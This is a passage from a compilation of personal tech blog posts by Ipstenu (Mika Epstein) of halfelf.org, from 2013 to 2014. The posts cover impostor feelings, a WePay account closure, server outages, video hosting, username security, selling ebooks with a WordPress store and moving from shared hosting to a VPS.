Here’s what I do know. At some point in my life, I lost that ability to be certain at all times. But *only* when I’m alone. Before I speak at a WordCamp, any WordCamp, I am tense and stiff, not very funny, anxious, and nervous. People get a lot of crappy pictures of me that way. I told the photographer at Las Vegas “It takes a bit for me to warm up. As soon as I start talking, though, I’ll be fine.”
And this is true. Once I start doing it, I’m *fine*. As soon as I hit publish, the fears were gone. As soon as I did something I felt great. This is true pretty much all the time (except the one time I clearly remember thinking “Bad choice! Bad choice!” and it ended in broken bones). I know it won’t be perfect, and I know I’ll probably have to go back and fix things, but that’s alright.

What is the truth here? Am I really lying to myself at one point in this process? Do I really know nothing? Why can’t I, or anyone, just shake it. It’s not true, and I know it, that I’m incapable of things, but fear and all this stuff that’s ‘in my head’ is frustrating especially because I know it’s pretty much all in my head.
The point, and this comes back to why this is on my ‘tech’ blog and not my personal one, is that what holds us back more than anything else is ourselves. The reason I don’t code ‘as much’ with core is not because I can’t but because I still feel awkward and slow when doing so, which holds back a process which is running along so fast now, it can hardly stop to wait for me.
But instead of grumbling and giving up, I’ve been slowly, steadily, working on what I can do, making it good– no, making it *great*, and moving forward with that. Sometimes that develops into a patch, and sometimes it means I write a long blog post about things and what they mean to me, or how I learned them.
That’s my truth. The only way to keep fighting that impostor feeling is to ignore that inner-me telling me I’m not good enough, accept the fact that I’m probably not *fast* enough for the rapid development world, and just truck on keeping up and fixing what I can, when I can.
But this is my answer. It’s not going to be the same for everyone, and that’s why I can’t (yet) write a book about this. Because there is no answer for everyone, or even enough people, to make that doable. Still, know this. If you did something, if you tried something, then you did it. You tried it. No one can take that away. Not even that really annoying inner you who thinks you suck.
Because you don’t suck.
**Categories:** How It Is
**Tags:** coding, essay
---
### [Poor Customer Service](https://halfelf.org/2014/poor-customer-service/)
**Published:** January 29, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to turn me from understanding and apologetic about my mistake into someone who outright hates your service.
**Content:**
I have to start this with a confession that I screwed up and lost my WePay account.
I lost my WePay account for something that was totally my mistake. I have no complaints about that, I screwed up and missed the clause in their ToS that says you can’t use it for digital goods. This needs to be stressed: *this was no one’s fault but my own*. You can think it’s a stupid clause as much as you want, but it’s theirs, and I agreed to it and broke it. On accident. But ignorance of the law is no excuse. I know this, I support this. I have no quarrel with this.
My issue is how I found out, and what WePay did about it when I had questions.
How did I find out I was in violation? I got this email:
> It seems you’re using WePay for one or more of the activities prohibited by our Terms of Service. Unfortunately, you can’t use WePay to accept additional payments. Any pending payments will be canceled and you won’t be able to withdraw funds at this time.
>
> More specifically:
>
> We are unable to process payments for digital goods including ebooks.
>
> Thank you for understanding and we apologize that we couldn’t offer a better solution.
It’s a nice email, all told, but it doesn’t explain things. Like … if pending payments are canceled, do they get refunded? What about completed payments? Do those get refunded or do I get my money? At first, I had about $70 stuck in some weird degree of transaction hell. Now it’s down to under $20 and I’m still struggling to get a good answer as to where that money goes. Will I get it back? Will my customer get it back?
I logged into WePay and everything looked … normal. I checked my payment pages, as myself, and they were active. Logically I thought they had disabled my payment API and would be refunding money, but I could find no information on that on my pages. Then my friend Kat pinged me to tell me my Donation Page for ebooks was down. *THAT* is how I found out my account was actually disabled.
I emailed them and right away and was direct that I knew, understood, and accepted, that I was at fault, but I asked if they meant by “Unfortunately, you can’t use WePay to accept additional payments.” Forever? Everything? It was over and done with? I felt that was pretty nice, all told. I understood that it was my bad, but I wasn’t clear on what they meant by the wording and asked for clarification.
They replied with that yes, this account was good and done and gone forever more. I could no longer use it though paradoxically when I was logged in, there was no obvious mention of this. The only way, logged in, to tell I was persona non grata was to try and withdraw my money. Then it said to contact customer service. But my support guy said all was not lost, I could make a new account, and as long as that didn’t break the rules, I would be allowed to stay, “Your current account though, can not be utilized unfortunately.”
It was a strange way to tell me “Your account has been suspended.”
But okay, that’s fine. I accepted this and replied asking if my customers, the couple who were in some various state of pending (I think it was a total of $19.50) would get their money back. And this is where my tale went from ‘Stupid me’ and right into ‘What the hell is wrong with WePay?’
The initial email I got was at 4:12pm. I didn’t see it until nearly 8pm but I replied right away when I figured out what it meant. I did not know, at that time, that they only did support from 6am to 6pm Pacific, but since I got a reply within 30 minutes, I assumed, like you would, that they had 24/7 support. The second email, my question about the refunds, was sent at about 9pm, and there was no reply by 11pm. As anxious as I was, I went to bed.
In the morning, there was still no email, so I sent another asking for an update, and repeating the question, at about 6:30am. After two more hours, I thought something was up. Normally you get a reply telling you there’s a ticket. Instead I got asked to ‘rate’ my ticket; it had been closed. Instead of replying via email, I logged into their system and marked the ticket as unsatisfactory, with a now angry rant that I was trying to get an answer. Then I forcibly reopened the ticket and put in BOTH my emails asking for the same information.
All I wanted to know was if the people who paid me, and whose money WePay put a hold on the payments, get THEIR money back?
I know I screwed up. But that money, if it’s not mine, is theirs and not WePays.
It took *six more hours* for someone to reply to that question. I poked their Twitter account about it, and was told that my 11pm email was outside support hours. I asked (via Twitter) for someone to look at my ticket please, and got no more replies from them. At this point I put my effort into getting Stripe up and running, making my *own* [donation page](https://store.halfelf.org/donate/), and figuring out how PayPal handles invoices again.
At this point in the game, I was no longer annoyed and understanding, but pissed off and vocal.
I probably sound angry, and I am. I’m angry at myself for not reading the ToS. I’m angry that WePay actually has a ‘no digital goods’ rule for a online payment service in 2014. I’m angry that I didn’t get a warning and a chance to correct myself. I’m angry that their UI made it so I couldn’t see I was actually suspended. I’m angry that their support system which said ‘reply to this email to reopen the ticket’ decided to turf my mails instead, with no notice.
I’d been with WePay for over four years. I really liked them because they were everything PayPal was not! You can customize a donation page with a pretty URL, or send a custom invoice that looked personable. And back four years ago, I didn’t have to fight to get answers, I got a freakin’ phone call asking me if everything was okay. Yes, I remember that call and said “Well DAMN, this is great!” *That* was customer service worth lauding, and why for so long I’ve told people to use WePay.
This experience was not WePay. I told them “It’s like finding out your favorite actor is a racist.”
Customer service will make and break you. Customer *perception* is a huge part of that. WePay went from a service I adored to one that I outright dislike now. And no, I’m not mad at them about shutting my account, I’m mad at them for how they *handled* it. How they talked to me, how they dealt with my questions, and how I waited almost 6 hours for a reply during business hours, but got them quickly outside them. The money has being refunded to my customers, and I have personally apologized to them for my mistake. I’ll miss you WePay, and I wish you could be less stupid about digital goods. I hope you change your mind one day, but even then I won’t be back. My accounts are deleted, we are no more.
The coda to all this is that on January 16th, [WePay announced they were shutting down everything except their API](http://blog.wepay.com/post/73503019884/wepay-in-2014). No more buttons, no more donation pages, no more crowdfunding, no more store. Just an API, like Stripe, only you can’t sell electronic goods, making it officially the least useful of all the online API stores out there. Way to take a great product and kill it.
**Categories:** How It Is
**Tags:** essay, social media, support
---
### [It's Never A Good Time](https://halfelf.org/2014/never-a-good-time/)
**Published:** January 22, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's just never a good time to turn something off or close the doors. The world is 24/7, so we're gonna have problems.
**Content:**
One of the biggest things I learned working for a bank was that there is never a good time for an outage.
Take, for example, my ongoing argument about how we had to reboot servers with as little downtime as possible during our deployment process. This is pretty simple, right? If you have to reboot something, it has to be turned *off* for a little while. Now with a clustered distribution setup like we had, with ten servers in three locations (30 servers), we would deploy to every server in location A, reboot, then B and so on. Now naturally this causes an outage in each location, and we always had different ideas about how to handle it.
One option would be to have the second step of our deployment process be to put up a ‘Sorry’ page, saying the service was offline, and then push to all three locations at once. That minimized downtime to about thirty minutes on average. We’d push the code zipped up to the servers as step one, sorry page was two, gently disconnecting inflight traffic without losing any transactions was three, and unzipping new files was four. If needed, reboots were five, and then six was to remove the sorry page. Pretty fast, right? The downside was that there was an outage, and if we had a problem it would take longer to fix.
The other main option would be to turn off location A, shunt all active users to B and C, upgrade, and repeat. This took longer, usually around 90 minutes, but no service outage, right? Right…? Nope! The problem with shunting users was that we had to wait until the transactions were done before we could redirect them to the new server, which meant servers at locations B and C would be handling a sixth more traffic each, which meant when A came back online and we sent traffic to it, it was *more* than we had moved off it, so it took longer. Oh, and now A has new code, which B and C does not, so now we have two versions of the service running, and we can’t dynamically flip people around. We have to check service versions before our Round-Robin would work.
Now, in both cases, the longest part of the process was usually the ‘gently disconnect all inflight traffic’ part. But you can see how it gets super messy really fast. The reason this was always a point of contention was that we *really* didn’t want our customers to have downtime because there was absolutely never a good time for everyone. We picked Thursday nights at ten pm Central for our updates, since we were a Chicago based company, but as time went on, we had to move some to Friday, which you’d think would work for a bank. After all, no one does business on weekends?
I hope you laughed a little at that.
As the Internet makes it more and more possible to work at any hour, we find that services need to be available at any hour. The whole concept behind ‘business hours’ making things standard never really worked for everyone. I mean, if your company was 9-to-5, you would have to do the brunt of your personal business on lunch and breaks. At least today, if I needed to run a personal errand at 2pm, I can just leave and come back to finish my work. Can’t do that at a bank, though! People need to come there to get their work done, so you have to be there.
It’s really annoying, and it comes down to a simple fact: There’s never a good time to turn something off.

This came up recently a friend asked what I was doing at work on December 24th and I replied “The usual. Answering tickets, making the Internet better, closing vulnerable plugins.” He was surprised and asked if I felt *mean* closing people’s plugins on Christmas Eve. This lead to me teasing the hell out of him for nagging me one weekend with two emails, a slew of tweets, and a text, asking for help with a problem (the last email was, I kid you not, ‘never mind, I read [your ebook](https://halfelf.org/ebooks/wordpress-multisite-101/ "WordPress Multisite 101")!’). While I was annoyed then, he apologized and we’re still friends (if the teasing didn’t indicate that already).
But it did bring up something important to him. The time *he* had to work on his side project was weekends and nights. The time *I* had to provide random help was weekdays and maybe Sunday. For him, to have his friend and Multisite Resource *not* available was killing his ability to finish the project. Now, he freely admitted that banking everything on asking someone for free help was a terrible business model, and since then he’s stepped up, [read the books](https://store.halfelf.org/catalog), practiced on his own, and he’s now a pretty darn good admin for a network.
Still, on December 24th, he asked if there was a ‘worse’ time to close someone’s plugin. “Sure,” I replied glibly. “The day their mother died. The day their car broke down. The day their tech quit. The day of their product push. The day we upgrade WordPress….” He realized I had a lot of examples and conceded the point. There’s never a good day because we don’t *know* what’s going on in your life. We can’t know. I’m not actually psychic, after all.
[](https://halfelf.org/2014/never-a-good-time/keep_calm_and_carry_on_hd_widescreen_wallpapers_1680x1050/)Sometimes people like to complain that we don’t ‘run WordPress’ like a business. If we did, we’d never close a plugin on a Friday night, or on the eve of a major holiday, or without warning, or … You get the idea. And they’re partly right. If WordPress.org was a business, a lot of things would be different. We’d have any easier way to warn people and put shutdowns on a timer, or delete accounts, or help everyone who posts in the forum. But the mistake here is not ‘ours’ for making WordPress what it is, but in you for expecting a free, volunteer, community to act like a company.
Cause we ain’t.
So while it’s never a good time to close a plugin, or reboot a server, or install new software for *everyone*, we’re going to have to do it at some time. An individual can’t be available 24/7 because we have to sleep, and we have other things to do. So accept that it’s just never a good time, fix it as soon as you can, and carry on.
**Categories:** How It Is
**Tags:** essay, support
---
### [Videos: Local or Service](https://halfelf.org/2014/videos-hosting/)
**Published:** January 8, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Pondering where and how to host my media is not as easy as it might be.
**Content:**
One of the hardest things to do is sort out where and how to host videos.
### The problems
Let’s be direct here, videos are still one of the messiest parts of hosting websites, because of two major reasons:
1. Multiple formats
2. Bandwidth
I used to have “File size” on there, but these days with most of us having at least 5G of space on shared hosts, it’s not an issue. The other two are big problems. Since it’s 2014, I’m sticking to only HTML5 video stuff right now. It’s backwards compatible enough. If someone’s on IE8 or earlier, they’re left in the cold, which I feel bad about, but that was released in 2009 and while I know my last job was struggling to get off it in 2012, my ‘workaround’ was to include a line below all videos that says “Can’t view this? Click here…”
**Multiple Formats**
Got an iOS device? Great, you can’t play Flash, which means the smallest compression out there (flv) won’t work. There are a *lot* of different formats. Just have a look at the [breakdown of HTML5 video browser support](http://en.wikipedia.org/wiki/HTML5_video#Browser_support) for a moment. It gets messier when you’re an Open Source advocate and you realize how jacked that makes you with iOS, which is pretty much ‘MP4 or GTFO’ these days.
Don’t forget that Firefox doesn’t like MP4s either (see the screenshot to the right) so now you *must* include a webm or ogg file to make that happy. This means, in order to get the broadest audience, you need to include at least two formats of video. This touches back to the ‘File size’ issue that I don’t really think is much of an issue these days.
This is a hassle since most of us don’t have a lot of great tools to take our amazing video of ducks and turn it into these other formats. I use [Miro Converter](http://www.mirovideoconverter.com/) or [Handbrake](http://handbrake.fr/) much of the time to convert things, but by no means are these profession quality. Hang on to that thought, I’ll be back.
**Bandwidth**
Sometimes people lump this with File Size too, but bandwidth is how we measure how much data you’re sending when people visit your website. We relate it to file size because larger files use more bandwidth. Obvious, right? Videos are *large* files, so they use up more bandwidth. Right now I get 5TB of transfer per month before I have to pay extra, and my average is 150G, so I have a ways to go before I need to worry about it. That said, not every host is as generous, and remember that [‘unlimited’ means ‘within reason’](https://halfelf.org/2013/entry-level-hosting/), especially with Shared Hosting.
There’s also a related concern we call ‘hotlinking’ and that’s where someone takes your images (or videos) and links to them directly, which means they;re using your content (and bandwidth). When someone does it to you, we call it bandwidth theft. When someone does it to YouTube, we call it ’embedding media.’ Personally I use Perishable Press’ [ultimate hotlinking strategy](http://perishablepress.com/creating-the-ultimate-htaccess-anti-hotlinking-strategy/) and block all my images and videos from this.
It’s actually the concern of bandwidth and the availability of embedding media that drives many people to external hosting.
### Your options…
Now that we know what makes this hard, what can we do? it’s pretty simple, we can host it ourselves, knowing these woes and being prepared to address them as they come up, or we can host our stuff elsewhere. For many of my friends, this is a no-brainer. Host it elsewhere, pay a little extra, but have all the technology headaches solved for you.
But.
I work a lot with fansites and they face two major hurdles. Posting some videos is, strictly speaking, illegal as all get out. That 6 second clip of Mulder and Scully? Illegal. Hosting it? Illegal. Making money off it via ads on your site? Illlleeeeeeeeeeeegggaaaaallll.
You get the idea. But they’re going to do it anyway, and unless they decide to turn it into an animated GIF (still illegal actually according to some sources), they’re going to have a small video to host. Where can they host it?
The only place is their own server. Now, legally, you have to be given time to comply to a takedown DMCA notice, and really these monolithic companies are supposed to send YOU a takedown before going after your webhost with a demand, but that doesn’t always happen. Many fansites are banned from YouTube because of those clips, so it’s always going to be a fear.
Do I think that clips of TV shows should be illegal? Not within reason, no. I think a small clip, under 2 minutes, can be awesome advertising. And now a days, a lot of shows put their own, official, embeddable, clips up online. Of course… they also *remove* the clips after a while, which defeats the purpose, I feel.
### What’s wrong with hosting locally?
Really? Nothing. It’s just hard, complicated, and complex. If you can do it, I actually suggest you do. You can embed most video files in WordPress these days, so it works well. I wouldn’t do it for large clips (I don’t go over 10 megs myself), because it can and will slow your site down.
Mind, I wish [WordPress.com’s video server code](http://code.trac.wordpress.org/browser/wordpresscom-video-server) was up to date. I’d like to try that. Still, that’s where I am today. I’ll put in the effort and minimize my risk.
**Categories:** How It Is
**Tags:** essay, hosting
---
### [Your Username is Not A Secret](https://halfelf.org/2014/username-secret/)
**Published:** January 6, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Things that aren't secrets shouldn't be hidden, since it just wastes your time.
**Content:**
I keep seeing this pop up. “Your CMS is not secure because it makes your username/id public! Once a hacker has that, they can try to break in!” At one point I snapped “Sure, and your house isn’t secure because someone knows your address.”
It’s one of those logical fallacies that seems vaguely accurate on the surface, but really are just plain wrong. On some level, you’d think that if a hacker doesn’t know your ID, they can’t get in, but the reality is *most* hackers, the surface level idiots who are trying to break into any site available aren’t checking for your user ID/Name, they’re looking specifically for a vulnerability, like they did with the [TimThumb accidental (D)DoS](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/ "TimThumb and the Pseudo (D)DoS Effect").
In addition, they’re not usually looking for your ID when trying that [brute force login attack](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity"). The practical difference between someone trying to log in with “admin” and someone trying to log in with “ipstenu” is pretty negligible, since they’re killing my server before they get in anyway.
As I wrote this, I thought what it would be like if there was a mod\_security rule that checks if you’re trying to log into a site with the username ‘admin’ and, if so, blocks you from being able to log in. Of course, there are millions of sites with millions of CMS tools, and for some you actually *cannot* change the admin account name away from admin.
WordPress is not alone in thinking your username isn’t a secret. [Drupal also thinks disclosure of usernames/id is not a security risk](https://drupal.org/node/1004778). In fact, *Google* doesn’t think your ID is a secret. After all, you can log in to Google’s devices with your email, and everyone whom you’ve ever emailed kinda knows that. “Oh, you emailed me from ipstenu@gmail.com? I’ll attack that!”
Now of course, if you try to log in with that too many times, you lock your IP out. And similarly, if you try to log in to my server via SSH too many times, the same thing happens. Have I ever locked myself out? You bet. Less since I switched to [1Password](https://agilebits.com/onepassword) and SSH keys, but it still is very effective.
Why isn’t this built into the core of most CMSs? Because a CMS like Drupal and WordPress *is not* as volatile as, say, the [healthcare.gov](https://healthcare.gov) site. The danger that comes from someone getting into my blog is minimal compared to someone getting into my email. But again, everyone knows my email account, so they’ve always got one half to the puzzle right then and there.
One of the other primary reasons this isn’t built in to WordPress is that it’s hard to do right, and in a way that will work on all servers, *and* in a way that will be easy for someone to undo. I said I locked myself out a couple times, right? I can unlock myself with a device on another IP, or I can call up my webhost and tell them my IP and can they please unlock me. Now flip that to your blog. How do you handle it? Who do you call? Do you make this a ‘solvable by the host only’ problem? Can you envision your host being happy about handling that?
Not that I’m passing the buck here. There are plugins and extensions that do this, but they’re still best used by people who already understand security than by the common man, because the people who know what to do when they have to edit a .htaccess are the ones who probably already know how to pick a secure password, or install [two-factor authentication](https://halfelf.org/2013/two-factor-authentication/ "Two Factor Authentication") already.
All this comes back to something blindingly obvious though. Everyone is going to know part of your access. The reason we tell people not to use ‘admin’ as a login ID is not because it’s more or less secure, but because it makes it easy for script kiddies to target. Remember, most of the time when you’re being attacked it’s nothing *you* did personally, it’s just a script running. When it’s someone who has an absolute vendetta against you, your userID is the least of your concerns.
The crux of the matter here is that your username is *not* a point of authentication, it’s a point of identification. Giving you an identification (I am Ipstenu) is not the same as giving you data that can be used to authentication (my mother’s maiden name is Jones; I was born in Battlesboro, VT; My favorite superhero is the Flash). There’s a reason we call them ‘Secret Questions’ as they’re both identification and authentication. Only I would know these things. And no, that’s not true, which is why secret questions are pretty useless. The more obscure they are (my first maths teacher) the less likely *I* am to remember them correctly. “His name was Smith… Now did I put in Dr. Smith, Mr. Smith, or Smith? Oh wait, how did he spell Smith? Smythe? Smyth? I know people with all those spellings! Which was he?”
So no. Your user ID is not a secret, nor should it be. I spend no time hiding it.
**Categories:** How It Is
**Tags:** cms, essay, security, website
---
### [Welcome the Warehouse](https://halfelf.org/2014/welcome-the-warehouse/)
**Published:** January 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It was incredibly simple and basic to make a store online using WordPress, a good theme, and a good plugin.
**Content:**
It’s January and my ebooks are now located at and managed by Easy Digital Download. The WordPress Multisite books have been seriously updated for WP 3.8, with new screenshots, new plugin recommendations, and some simpler layouts. If you downloaded them before, you may want new copies now (and there’s a new one [on plugin support](http://store.halfelf.org/ebooks/wordpress-plugin-support/)!). But let’s go back to EDD.
### It was really that easy
About three years ago, I thought about selling my ebooks on a dedicated site (ebooks.ipstenu.org) but it never worked right, and I didn’t like it. Then I tried just tracking the downloads with a plugin, but that was more work and I was getting a little twitchy and obsessive about the metrics. So for most of 2013, the downloads weren’t tracked at all on this site. But when I was redesigning my site, I knew that I really wanted to try this plugin my friend Pippin wrote: [Easy Digital Downloads](https://easydigitaldownloads.com?ref=3359)
I want to note that I had decided to play with the plugin before I read [Chris Lema’s post on Easy eCommerce & Membership Sites using WordPress](http://chrislema.com/easy-ecommerce-membership-sites-using-wordpress/). Which doesn’t have anything to do with anything except that he’s right, it’s easy, and anyone can do this. And as Chris pointed out, [the tools can make it fast and easy for me](http://chrislema.com/wordpress-ebook-store/). A couple years ago, I’d tried to make an online store for my wife and ended up telling her “This is too complicated, I can’t do it. Let’s use Etsy.” But that was physical products and this is digital, and we’re in California now which has a different law about selling digital items that is so clear, I understand it at first glance.
[Publication 109, Internet Sales](http://www.boe.ca.gov/formspubs/pub109/)
> Your sale of electronic data products such as software, data, digital books (eBooks), mobile applications, and digital images is generally not taxable when you transmit the data to your customer over the Internet or by modem. However, if as part of the sale you provide your customer with a printed copy of the electronically transferred information or a backup data copy on a physical storage medium such as a CD-ROM, your entire sale is usually taxable.
That is so much clearer than anything iBooks or KDP ever said, it’s hilarious. Since my stuff is all 100% digital and I live in California, there will not be taxes, which means I can sell things off my site, not have them be ‘donate if you want.’ Don’t panic, now they really are “Pay if you want.”
### About the Warehouse and Pricing
If you’ve checked it out, you may notice the default price is no longer zero but $7.98 cents. As I started working on this, I really did get all the way through with a zero option before I realized … that was dumb.
I had a couple logical reasons for pricing at zero when I started out with this two years ago. First of all, I was entering unknown territory without any information. Secondly, I wanted to get my *name* out there. Third, I didn’t want a hassle. I still agree with Cory Doctorow about how DRM is evil, and the problem with only selling books is that people don’t really know if they like your writing, or if the book is worth it. Mind you, everyone could read my blog and sort that out for themselves, but I understand there’s a weird leap about paying even $0.99 for something you don’t know about.
But let’s think about what this means. With a normal book, you buy it, you own it, and if you hate it you can bring it back for a refund. With eBooks on the Kindle or iBookstore, you ask for a refund, they take the book back. Since I’m DRM free, I don’t have any way to revoke the book if you want a refund. Yes, that means if you demand a refund on the Kindle you keep the book and I get bupkis. (Two people in the history of ever have asked for a refund – both accidentally clicked ‘Buy Now’ twice.)
What *am* I getting from people not paying for the books? A whole lot of reading, that’s what. 3% of people who got 70 pages of Multisite knowhow paid ‘something’ for the book. And I’m not ungrateful to them. Getting that book out was really part of the whole process that landed me my job, speaking at WordCamps (which I surprisingly enjoy), and I’m incredibly happy with my life. But still, nothing from nothing, carry the nothing, does leave a person feeling a bit grumpy cat.
So would I incur the wrath of the Internet by saying that, as of 2014, you have to pay for the ebook? I think I would have. Especially since I said I would never force people to pay (even tweeted that whilst working on the site). With that in mind, I decided to do this differently and have it *default* to pay, but also super easy to *not* pay. My wife called it the “RTFM Tax” because if you read the site, you’ll see the code, and pay nothing.

On the sidebar is a notice about discounts for either 100% or 50% off. There’s also a ‘secret’ code of **PIGS** which drops the price of one ebook to $0.99, which is the cost of Angry Birds. I thought it would be funny.
How did I come up with the price of $7.98? Amazon helped me here. Initially I mathed the average donation to $8, and I adjusted my price on the KDP a couple times before I sussed out that people actually like non-even numbers like $7.98 so I did that and then publicized the discounts. No matter what you pay, you get to download the epub and the pdf. The ebooks are all DRM free. You’re still permitted, no, *encouraged* to duplicate and give ’em away.
Think of it like a GPL plugin you bought. Yes, you pay for the code, but once you bought it, it’s yours to use, burn, give away, or expand on. The one thing you can’t do is resell it as if it was yours. Which I hope you think is fair.
Let’s have fun with ebooks in 2014! After all, my next ebook is about … ebooks.
**Categories:** How It Is
**Tags:** ebooks, essay, website, wordpress
---
### [Your Website is Work](https://halfelf.org/2014/website-is-work/)
**Published:** January 1, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** "But it's HARD!" Yes, yes it is. That's why it's work. Let's be honest about this so people aren't surprised by this.
**Content:**
I spend a lot of time teaching people, and also giving directions (which I seem to have to send out repeatedly) only to be faced with a remark that doing all these things to manage a website is *hard* and time consuming and complicated and painful. It takes a lot of effort for me not to reply like this:

Of course it’s hard. Malcom Gladwell, in his book “Outliers: The Story of Success,” posits that it takes 10,000 hours of work to become an expert at something. Anything. Now, believe that or not (and yes, some people are naturally gifted so maybe they can do these things faster or achieve an even better expert level than you), the fact remains that we all had to *learn* skills.
What’s interesting is this is *nothing* new. We know this. We’ve known it for years that we have to put in the sweat equity. But people look at a website as being “easier” and think it’s really all a ‘set it and forget it.’ But it’s not. It’s never been that way. Making a website and walking away is dangerous not because you might get hacked (which you might), but because people will walk away when there’s nothing new.
At WordCamp Chicago, I talked about this. There’s a difference between how someone like Ron Popeil sells things and how Julia Child did. No one can argue she wasn’t successful, but she, like [Chris Lema](http://chrislema.com) sell you on yourself, rather than ‘You need this one thing to be a success.’ If I stick to my food analogy, Emeril sells things but Alton Brown sells you skills.
This just comes back to the basic understanding of needing skills, some skills, to keep your website up and running. We’re not all going to be hard core coders, nor should we be, but we *do* need a modicum of technical savvy to use the tools. Our technology gets more complicated, and while I know WordPress is concerned with that, even plain HTML is complicated to figure out that first time. The bar is there, and you have to master jumping it, or even peeking over it, to get through your day.
A website is work. The health of your website is directly proportional to the work you put in, and as we all know…
[](https://halfelf.org/wp-content/uploads/sites/2/2013/09/images.jpeg)“If you haven’t got your health, you haven’t got anything.”I would like to propose we all, for 2014, be shamelessly honest (to steal a phrase from my company). Be upfront, direct, and truthful. When people say “Is WordPress easy?” we say “It can be, but remember, no matter how easy a tool is, your website is still going to be work.” I would like us to stop selling our tools because they’re so easy a caveman can do it, and start selling truth about how it’s being used. “Everything gets easier the more you use it.” and “The more familiar you get with this, the easier everything becomes.”
This is not to say that our tools can’t be easy and shouldn’t be easier, but we have to face the facts that no matter *how* easy we make WordPress, or Drupal, or any tool, our presence on the Internet will remain work. And work means that sometimes you’re going to have to learn new, harder-for-you, skills to keep up with everything, or spend money to hire someone to do things.
No one can tell you how easy something will be for you, and I think we need to stop telling people “Don’t worry, it’ll be easy.” When I tell someone they can fix a hacked site, I tell them they can without losing their content, and while it can be overwhelming and scary, if they can copy files between folders, they can do this. By being honest about the work that goes into your website, the more prepared they will be for the inevitable moments of pain and difficulty, and the easier it will be for them to solve those problems.
**Categories:** How It Is
**Tags:** essay, website
---
### [On Beyond Shared Hosting](https://halfelf.org/2013/beyond-shared-hosting/)
**Published:** December 23, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Going beyond shared hosting is not simple, it's not straight forward, and there is never one answer to magically know when you need to. Sorry.
**Content:**
This comes up at almost every WordCamp or Meetup I go to. “How do I know when I’ve outgrown Shared Hosting?” In general, my reply is “When you’re really unhappy with your site performance, and you know that you’ve done everything right.”
For the vast majority of users out there, Shared Hosting is just fine. Even when they don’t really understand what Shared Hosting is (and if not please read [Entry Level Hosting](https://halfelf.org/2013/entry-level-hosting/)), they know this much: The site runs. And you know… that’s pretty much all most people care about. There’s absolutely nothing wrong with that. However you know that you may have outgrown shared when your site starts performing badly.
When I tell people this, they generally get pretty shirty with me. They tell me it’s the host, because this doesn’t happen on another host/localhost. In absolute fairness, sure, it could possibly be the webhost, however that’s like say your car is the only reason you get poor gas mileage. You have to consider the way you drive, the traffic you drive through (city vs freeway), the weather, and of course, the gas you put in. Where people are throwing these arguments are usually because they actually *haven’t* done everything right.
**We’ve all done it wrong.**
I’ve written code wrong before. Functional, yes, but really bad. I’ve given bad advice before. It happens. The point is that you never do things 100% correctly every time, which means the odds are against you having done absolutely everything right for the situation you’re in at that moment. And there’s the rub, isn’t it? What’s the situation? Did you study it correctly? Did you understand it right? Did you test your theories? Most of all, did you remember your server’s a special snowflake?
Accepting the fact that the cause for our sites being slow is us being wrong is not easy. But the truth is this: Your choice of hosts, plugins, themes, and features is why your site runs the way it does. And if that all adds up to ‘slow’ then you’ve made some miss-steps. Once you’re okay with that, you can make progress. Let’s do it right! This very basic step starts with being tough on yourself. Get rid of plugins you’re not using, or don’t *really* need. Make sure your theme hasn’t bloated itself with a million options you never use. Heck, see if anyone’s done a review on your plugins and themes. Try alternative plugins and themes. It’s always a possibility that the synergy of plugins you’re using are causing weird slowness issues that are only evident when they’re used together.
On general rule I have about shared hosting is that if I have to bump my memory for PHP over 128M, I’ve got a problem. A decent, clean, site be it WordPress or anything else, doesn’t need that much memory. If my plugins and/or themes make me use that much memory, then they’re a bad combination. The other thing to keep in mind is they may be a bad combination for *how* your site works. Like caching plugins, for example. I actually crashed my sever using one, because I was getting so much traffic and almost everyone left a comment, so the cache was flushing pages at a crazy fast rate. Turning off caching made it run slower, but more stable, and eventually lead to why I ended up on a VPS.
**What’s a VPS anyway?**
A VPS is a Virtual Private Server. It’s a weird concept, I know. A shared server is an apartment building, and a VPS is a condo. Where with shared hosting, you pay for room on a server that shares all its resources. That’s why you can have problems with noisy neighbors. If someone’s using too much power, it can blackout the building. A VPS is not just space on the server, it’s also an isolated mini ‘server’ inside the real server. So you can reboot without affecting anyone else, or install new resources and apps without sharing them. Your stuff is more separate from theirs. We call these ‘slices’ and a VPS is your own private slice.
Back in the day, I switched to a VPS because after doing the math, I realized I would spend the same amount hosting 4 sites on shared hosting as I would on one VPS. After six months, I found out how smart a move this was, as I could upgrade PHP without having to wait for everyone on my box to be ‘ready’ for it. The box was all me! I also got more memory for use, and since I wasn’t sharing it with anyone else, if I used too much and crashed things, the only person who got hurt was me!
A VPS was power, freedom, and yes more money, but it was easy to set up server-level backups. Also it was easy to add in extra caching on the server, like x-cache, or memcached, which then lets me use not a flat-file cache but a dynamic cache like [Batcache](http://wordpress.org/plugins/batcache/). There are, of course, reasons you may want a file-cache like WP Super Cache provides, and don’t think that plugin isn’t awesome. But when a static cache isn’t quite right, this is a great idea. You can read up on [Sivel’s review of various caching plugins](http://sivel.net/2011/12/wordpress-caching-comparisons-part-2/) for WordPress.
The point here is that a VPS gave me more options! I could even install Varnish on my server to use that instead. It’s also easier to add more RAM to a VPS, and allocate disk space. For most of us, disk space is not an issue anymore, but the RAM is important.
**How do I KNOW I need a VPS?**
Honestly, there isn’t a magic formula. I can tell you this, with regards to all types of CMSs: The more you do, the more you need. It’s really obvious, but it’s often missed. The more successful your site gets, the more people visit it, the more people comment (and you know these are all things you want), the more memory and CPU your site needs, so a-VPS-ing we shall go. It’s really like ‘How do I know I need new pants’ isn’t it? My pants don’t fit! They pinch me here or there. They’re slipping if I don’t wear a belt, and I hate belts.
Maybe you should think of the traffic on your website like eating. If you overeat once, say Thanksgiving, the pants are tight, but a couple days later it’s nothing at all. If you’re eating a larger amount for another reason (working out, growing taller, whatever), you’re going to have to get new pants after a while, because you just look silly when your pants end 3 inches above your ankles. Unlike the Hulk, you’re not coming back down to person size any time soon.
There is something good in this, though. Most sites have a pretty easy, painless way for you to move from shared to a VPS. They’ve got scripts and tools and click-magic buttons that toss your site up, change the DNS settings, and carry on.
**Downsides?**
